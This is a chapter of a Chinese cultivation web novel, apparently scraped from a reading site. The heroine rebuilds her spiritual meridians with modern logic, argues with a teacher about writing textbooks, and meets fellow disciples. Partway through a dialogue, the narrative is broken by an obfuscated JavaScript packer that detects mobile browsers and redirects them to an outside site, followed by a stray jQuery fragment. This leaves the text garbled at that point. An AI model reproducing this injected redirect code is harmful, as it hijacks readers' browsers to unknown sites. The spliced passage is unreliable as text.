“师兄,拔针!”
楚澄声音沙哑颤抖,带着不容置疑的果决。
江景辞没有丝毫犹豫,手指如电,几乎在楚澄话音落下的瞬间,数根银针被拔下。
失去引导的灵气像是脱缰的野马瞬间失去方向,脆弱的灵脉遭受前所未有的冲击。
有的地方灵气被瞬间抽空,如同河道断流,露出龟裂干涸的河床,传来令人心悸的枯竭撕裂感。
有的地方则被狂暴涌入的灵气撑得鼓胀欲裂,经脉壁薄如蝉翼,发出不堪重负的呻吟,仿佛下一刻就要爆裂开来!
剧痛袭来,犹如千万根烧红的钢针在体内穿刺,搅动。
危在旦夕,楚澄反而十分冷静。
古人玄之又玄的那一套在她看来远不如清晰的逻辑可靠。
她索性将课上晦涩的术语抛之脑后,也不再去照着所谓的筋脉图按图索骥。
她用现代人的思维看去,灵气是能量,灵脉就是庞杂的供能渠道,而身体各处就是用能需求不一的终端设备。
需求大的地方灵气不足,筋脉会干涸。
需求小的地方灵气过甚,所以筋脉不堪重压,几欲崩裂。
既然这样,那就调节。
她的身体合该她自己主导!
楚澄的意识,像是最老道的施工者,顺着这条供能系统流转,在拥堵处建立“分流点”,在不足处开辟新河道。
这无异于在血肉筋脉里动一场大手术,每一下都伴随着撕心裂肺的剧痛,仿佛灵魂也被无形的刻刀反复切割。
冷汗浸透她的衣衫,身体本能地颤抖,要紧的牙冠里传来阵阵血腥气。
很疼,但她的意识冷静得可怕。
凶险万分的施工结束后,体内狂暴的灵气洪流终于找到新的、最适合她的循环路径。
意念微动,灵气就汩汩流淌,随心所欲,再无滞碍。
楚澄紧绷的精神骤然放松,身体遵循着这套全新的系统运转。
灵田处的嫩芽像是初生的婴儿,本能而贪婪地吸食灵气。
一种难以言喻的生机和力量感从丹田滋生,蔓延至四肢百骸。
周边的灵气像被黑洞吸引,前赴后继朝着小屋奔涌,在周围十里形成一个干涸的真空地带。
如此浩大的声势,在静谧的宗门夜空中投下了一颗惊雷!
几位长老远远探出几缕灵气查看,却被扭曲的漩涡一同吸走。有人欣慰狂喜,有人思量万千。
这一晚过后,像是拨开一层迷雾,楚澄不再像先前一样需要旁人引导或者危机激发,现在的她清醒时刻就能随心观察身体里筋脉的运转情况。
这就是内视法吗?
楚澄眉头轻拧,手指敲敲桌面。
既然能看到自己,那么换个方向是否有可能看到其他人?
楚澄成功引气入体的消息迅速传遍内外门。
接连被好几个外门弟子追着问诀窍和经验后,楚澄又想到之前发现的教材缺失的问题,准备去找老师提提意见。
统管外门教学事宜的黄博士是个和气的中年人,被楚澄打扰下班也不生气。
他没亲眼见过楚澄历劫,但事后那被夷为平地的灵山却可证明当时壮阔的景象。
面对这样的好学生,老师是不可能生气的。
“听说你已顺利入体,如今灵气运作可还顺利?”黄博士语调轻缓,神情慈爱。
“顺利,还得多谢博士的筋脉图,着实帮了我良多。”
黄博士没有推诿,这一声感谢他担得起,笑眯眯地问:“今日留我,可是课上有什么没听懂的要问?”
“并非,”楚澄摇头说:“只是我有一事想与博士相商。”
“你说。”对好学生,老师们都比较好说话。
“学生想着老师课上所授内容十分精彩,博士可想开书立著?”
受时代所限,这些人上课大多只有一个笼统的主题,其他的由老师想到哪里上到哪里。
运气好的人遇到老师灵感大发,窥见几丝心得,成功学到重难点。
运气不好的就只能愚钝地等待,楚澄就想着能不能建议教学的博士们汇总编书。
对时下的人来说开书立著是一个直白且真诚的赞美。
黄博士听了果真十分高兴:“暂时没有这个打算,你要是……”
“这怎么行,各位博士的学识如此渊博,若不著书岂不可惜!”
黄博士脸上的笑容一敛,眉尖轻挑,察觉到了楚澄动机不纯:“你想干什么?”
楚澄笑容纯良,语气真诚:“自然是不舍博士才学浪费。”
“实话实说。”
黄博士教了楚澄几日,也和同僚们一起讨论过,知道她性格内敛务实,不是爱拍马屁的人。
“博士那日所画的筋脉图助我良多,所以我想博士若愿意立著,岂不是能帮到更多人!”
黄博士抚了抚衣袍,眼底笑容褪去:“阿澄倒是很为同门着想。”
话说得软和,但眼底渐渐散去的笑意把师生和睦的假象瞬间打破。
察觉到到黄博士言语里的回避,楚澄索性不绕弯子:“黄博士是觉得此事不妥?”
“自然。”黄博士拂袖,往左后方退后两步与楚澄拉开距离。
“敢问不妥在何处?”
楚澄蹙眉,她想不明白,出书之后老师流芳百世,学生得到真传,几方和谐的事情,有什么不妥。
黄博士颔首,眼睛在看楚澄,又似乎透过楚澄看到更为缥缈难测的未来。
“天道酬勤,求道之路,坎坷婉转。
什么都等师者准备好了赠送,那学生不就像是圈养在马厩里的马,不管好坏,一味开口咀嚼,形同痴呆地被动接受,如何能磨炼意志,又有何修行的意义!”
楚澄皱眉:“老师这话没有道理。”
黄博士突然想起楚澄与槐序论道那次,心叫不好。
果不其然,楚澄接下来的话十分尖锐。
“天道酬勤没错,可老师怎么知道得了课本的人就会心生懈怠,不求进取甚至丧失思考?
您怎知他们不会时时温故、仔细钻研、更快得道?”
“那若按你所说立书传授,学生按图索骥,这般不求心悟,体证,即便得道,又该算作谁的道?”黄博士问题犀利。
楚澄被哽了一下,黄博士抓住这个时机训斥。
“你还年轻,尚且不懂修行一事本就像长夜中寻找出路,唯有自己在困顿中找到那点灵光才算有用。”
楚澄意识到他在偷换概念:“博士言重了,您的书就如竹杖,竹杖帮我走路,但这能说明路是竹杖走的吗?”
“再说这灵光一闪,学生想问老师,若困顿来源于信息匮乏,而非知识深浅,这样的困顿有何意义?”
楚澄见他面色难看,稍微放缓了语调。
“就如您所画的筋脉图,外门弟子耗费大量时间听您讲授,用尽全力品悟一年,所学到的内容尚且不如您随笔所画的那一张图!
我们明明可以更简单高效地搞清楚状况,何苦要增设那么多不必要的磨难?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861051|176027||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“胡搅蛮缠,老夫好心教授道理,在你们看来倒是为你们增设了不必要的麻烦不成?”
黄博士踉跄后腿,面色阴沉如水。
“博士,学生不是这个意思。”
楚澄上前一步:“博士,并非只有千锤百炼得来的知识才算知识。”
“您可曾想过,您现在守护的是知识本身还是……”
楚澄说没说完,黄博士却听出未尽之意——
你守护的究竟是知识本身,还是自己的权威。
“你出去……”
他拂袖,脸色难堪,挺直的要背维持着最后的骄傲:“滚出去!”
“学生告退。”楚澄暗自叹了口气。
“你不生气吗?”
学堂外的树下站着一个个子矮小的男生,他站在树荫里,茂密的阴影把他的表情吞没。
“黄博士说不过你,因为你说的才是对的。”他声音很轻。
“不生气。”
楚澄驻足,不知何时太阳已经落下,昏黄的阳光透过窗口,将学堂里佝偻的背影拉得纤长。
教会徒弟,饿死师傅,这是时代的局限性,是没有保障的社会中刻在骨子里的惶恐,不以人的身份为转移。
那日一场对峙后,黄博士对楚澄的态度冷了下来。而记忆力惊人从不动笔的楚澄开始拿笔记录。
大家看出其中的异样,隐约猜出发生了矛盾,但总归都是些小道消息,不便多传。
除了晚上回来后多了一项整理资料的工作,楚澄生活按照时间规划表规规整整地往前挪动。
这日照常进元阳阁点了个卯,刚去自己平日练剑的地方就撞见一个许久没见过的人。
“师……师妹。”
视线撞上的一刻,詹初雨准备掉头逃跑的计划破碎,只能故作镇定地打招呼。
少跟社恐说话就是对社恐最友好的举动。
楚澄深谙这个道理,指了指里面说:“师姐快进去吧,里面要开始了。”
詹初雨的袖角被她捏皱,道了句谢,还没等她动身,门里又出来个人。
“詹师姐,你回来了!”
薛池语气飞扬,眼角眉梢溢满惊喜。
楚澄精准地捕捉到回来两字,猜想他们二人或许相熟。
詹初雨悄悄往后挪了一小步:“啊,是你呀。”
语气尴尬。
这反应可不像遇见熟人。
可惜薛池没有发现异样,语气十分亢奋:“师姐,师傅已经狠狠骂过他们,你……”
话还没说完,詹初雨就步伐凌乱地跑走了。
“这……”
薛池懊恼跺脚,想追又不敢追,像是一只好心办了坏事后丧眉耷眼的哈士奇。
接下来的训练异常沉默,薛池带练过程中甚至舞错了几招。
楚澄看出他心不在焉,自己悄悄改了,没让他发现。
“师妹,能否求你件事?”训练结束后薛池拿着本命剑在边角给自己打了好一会儿气,才犹犹豫豫地开口。
“师兄直说便是。”
楚澄是在战场上练就的观察力,早看出他有话要说,猜到或许和詹初雨有关还刻意放慢了收拾的动作。
“你能不能劝劝薛师姐回来?”
“回来?”这是楚澄第二次听到这个词。
“看我这脑子,”薛池顿首,面色尴尬:“师妹有所不知,詹师姐最初也是元阳阁弟子。”
?!
一个江景辞就算了,怎么詹初雨也是元阳阁的?